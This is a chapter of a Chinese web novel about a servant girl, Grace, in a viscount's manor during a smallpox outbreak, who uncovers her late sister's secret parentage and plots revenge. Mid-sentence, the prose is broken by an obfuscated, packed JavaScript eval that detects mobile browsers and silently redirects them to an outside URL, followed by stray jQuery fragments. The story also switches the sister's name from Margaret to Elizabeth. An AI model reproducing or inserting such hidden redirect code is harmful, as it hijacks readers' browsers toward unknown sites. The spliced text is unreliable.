因罪而由上帝所降下的惩罚。
——《圣经·旧约》
当下午的阳光透过西翼小楼的窗户照射进来时，威廉的病情已经平稳许多，格蕾丝也能够自由出入房间了，威廉甚至能够在清醒后询问格蕾丝问题。
病重时威廉的那个问题像昙花一现，他们默契地不再提起。
“我感染的疾病和你相同吗？”威廉问。
“是的，大人，是天花。”
“不过医生说您染上的是轻症。”格蕾丝补充道。
“是吗。”威廉陷入沉思，不再说话。卷曲的棕色头发顺服地贴在他的脸侧，即便是病痛的侵袭，也似乎格外钟爱他的脸庞，痘疤并未在他的脸上停留。
屋子里的壁炉静静燃烧，劈里啪啦的木柴爆裂开，散出的星火带着火焰上燃，又缓缓落下。
“那么，约翰和里克呢？”威廉的下一个问题打破了宁静，问起的是他的男仆们。
格蕾丝往他背后塞了两个鹅毛垫子，用来帮助他的起身。
“他们……”停顿了会儿，格蕾丝几乎是有些恶意地回复，“不大愿意来”。
说完她紧盯着他的反应，以期得到期盼中傲慢充满怒火的反应，但很快，她失望了。
威廉只是平淡地点点头，表示了解这件事。
直到察觉到格蕾丝探究的目光后，他才像是想起似的，对她露出一个标准的贵族式的微笑。
这个笑容让格蕾丝瞬间恼怒。她想起了蓓丽最后那个真实的、颤抖的微笑，那个在谎言中获得的短暂慰藉。
而威廉标准的、经过礼仪训练的微笑似乎在提醒她，贵族之间并没有什么不同。
格蕾丝想要恨他，就如同恨他的父母姐妹一般。
于是她说道：“您不该答应我的求情的”，她的声音还带着愈后的沙哑：“看吧！您的好心害得您到了这样的下场。您活该长个教训。”
威廉浅淡的微笑消失了。
他转过头望向了窗外，那里可以看到北面橡树林的一角，一个纯洁天真的女孩安葬在那。
“我父亲将你们从福利院带回来，承诺过会照顾你们。”
“你们将会是我的妹妹……我只是在做应该做的事。”
“应该做的事”格蕾丝攥紧了裙摆，“您知道蓓丽死前问了我什么吗？她问我们能不能活下来。”
亚麻布料在她掌心皱成一团，“而我骗了她。”
房间陷入沉默。
壁炉里的木柴发出轻微的爆裂声，格蕾丝闻到威廉身上淡淡的格兰花香，那是她今早为他换上的干净睡衣的味道。这种香气让她想起蓓丽最后几天身上的腐臭味，想起那些渗出脓血的疹子如何弄脏了她们唯一的被褥。
“人在接近死亡时，能预知自己的死亡吗？”格蕾丝突然问道。
威廉转过头来，沉绿色的眼睛在阳光下显得异常清澈。
“能的。”他回答得很肯定。
“您在高热中，也会感觉到自己与死亡擦肩而过吗？”
“是的。”威廉的食指无意识地在被单上画着十字，“第三天夜里，我听见有人在唱安魂曲，但房间里只有我一个人。”
格蕾丝想起那个夜晚，她正抱着蓓丽逐渐冰冷的身体。
“死亡是什么样的事情？”她听见自己问。
“死亡是罪的惩罚与驱逐，”威廉的声音变得低沉，“也是上帝的恩宠与救助。”
“那么良善的人死后能得到上帝的恩宠与救助吗？”
“所有的良善的人都会的。”
格蕾丝的眼泪毫无预兆地涌出来。她看见威廉脸上闪过一丝慌乱，原先平静克制的神情全都消散了，这位年轻的贵族显然不习惯面对哭泣的女性。
他犹豫地伸出手，可能是想起了男女身份差异，也可能是担忧再度传染，手一时僵在了空中。但看着哭泣的格蕾丝，他脸上的神情最终还是化为无奈和温柔，将格蕾丝轻轻揽在了怀里。
“蓓丽会是那个良善的人吗？”格蕾丝透过泪光看着威廉，发现他的轮廓在阳光下变得模糊不清。她不需要回答，因为她已经下定决心：无论蓓丽能否得到救赎，那些该负责的人都必须付出代价。
傍晚时分，格蕾丝端着药汤返回西翼小楼时，听见子爵夫妇在书房激烈争吵。她放轻脚步，将耳朵贴在雕花橡木门上。
“你必须立刻处理掉那两个女孩！”子爵夫人歇斯底里的声音透过门板传来，“威廉差点被她们害死！”
“冷静点，威廉已经好转了。”子爵的声音显得疲惫，“而且她们是阿米莉娅的女儿，我答应过——”
“阿米莉娅？那个下贱的洗衣妇？”子爵夫人发出一声刺耳的笑，“别以为我不知道你为什么要收养她们！那个亚麻色头发的丫头简直和你书房抽屉里的画像一模一样！”
一阵瓷器碎裂的声音，接着是子爵压低的怒吼：“闭嘴！你是想让整个庄园都听见吗？”
格蕾丝后退几步，药汤在碗里微微晃动。
她想起蓓丽与众不同的亚麻色头发，想起子爵第一次见到她们时古怪着迷的表情，想起为什么偏偏是她们两个被从福利院数十个女孩中选中。
一个可怕的猜想在她心中成形。
当她回到威廉的房间时，发现他已经睡着了。
格蕾丝轻轻放下药碗，目光扫过床头柜上那个精致的银相框——里面是威廉和父母、姐妹的全家画像。
她拿起相框，第一次认真端详子爵的面容：高挺的鼻梁，略微下垂的眼角，还有那个独特的下巴线条……
相框从她手中滑落，撞在地毯上发出闷响。威廉被惊醒，困惑地看着她苍白的脸色。
“怎么了？”他问，声音里还带着睡意。
格蕾丝弯腰捡起相框，手指不受控制地颤抖。
“没什么，大人。”她把相框放回原处，“只是想起厨房还有些事。”
离开房间后，格蕾丝没有去厨房，而是端着烛台径直走向庄园走廊的东边，这条路尽头的最后一个房间是子爵大人的书房。
她轻轻推开了书房的大门，烛台的光照亮了书房的一小角，格蕾丝悄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599202|171995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声走了进去。
她逐个拉开书房的抽屉，寻找着画像。直到在一个抽屉的底层，才翻到了刚刚子爵夫人口中所提到的画面。
将烛台移近，画像上的人清晰可见。
画中的年轻女子有着亚麻色的长发和温柔的微笑，怀里抱着一个婴儿。格蕾丝拿起细看，发现画框下方刻着一行小字：“致我亲爱的阿米莉娅与我们的小天使。”
翻转画框之时，画框出发沙沙的清响。格蕾丝敏锐地觉察到画框之内或许还藏有东西，她用指尖一点一点地摸过画框的边侧，直到摸到一条缝隙，再用力往内一卡，画框的隔层打开了。
一封信从隔层里掉了出来。信封上的火漆印已经开裂，但依稀还能辨认出子爵的纹章。
信纸在她手中沙沙作响，上面的字迹因年代久远而变得模糊，但依然可以辨认：“……我们的女儿今天满月了，她有着和你一般相似的美丽相貌……我已安排老约翰每周送钱去村口的红狮旅馆……请不要再试图联系我，艾米莉已经开始怀疑……”
走廊突然传来脚步声，格蕾丝迅速将信塞进衣襟，吹灭蜡烛躲到门后。脚步声在门外停留片刻，又渐渐远去。
她等心跳平复后，才悄悄溜出房间，但在走廊拐角处撞上了一个意想不到的人——威廉的妹妹，十六岁的玛格丽特小姐。
“你在这里做什么？”玛格丽特皱眉看着格蕾丝沾满灰尘的裙子，手中的烛台照亮了她精致的面容——那张与威廉相似却更加娇美的脸上没有一丝天花留下的痕迹。在瘟疫最严重的时候，子爵夫人带着女儿躲到了伦敦的宅邸。
格蕾丝低头行了个屈膝礼：“抱歉小姐，我走错路了。”
玛格丽特冷哼一声：“下等人就是下等人，连方向都分不清。”她抬起下巴，“我哥哥好些了吗？”
“威廉少爷已经退烧了，小姐。”
“母亲说你们这些贱民故意把病传给我们。”
玛格丽特的烛台突然向前倾斜，滚烫的蜡油滴在格蕾丝手背上，“是不是你那个死掉的妹妹干的？”
格蕾丝咬紧牙关没有出声。蜡油在她皮肤上凝固，疼痛却远不及心中的怒火。
她抬头直视玛格丽特的眼睛：“蓓丽是在为小姐您捡柴火时染病的，您不记得了吗？”
“放肆！”
伊丽莎白扬起手，但格蕾丝比她更快地抓住了她的手腕，两人在昏暗的走廊上僵持。
“您以为您全然受到父亲的宠爱吗？”格蕾丝压低声音，“还有您所做出的那些丑事……”
伊丽莎白的眼中闪过一丝困惑和恐惧：“你……你胡说些什么？”
格蕾丝松开手，后退一步：“没什么，小姐。只是觉得您可能会对您父亲的……收藏感兴趣。”
她转身离开时，听见伊丽莎白急促的脚步声向相反方向跑去，大概是去找她的母亲了。格蕾丝摸了摸怀中的信，嘴角浮现出一丝冷笑。
复仇的计划正在她心中逐渐完整，而威廉温和的绿眼睛和那些关于死亡的对话，此刻显得如此遥远而无关紧要。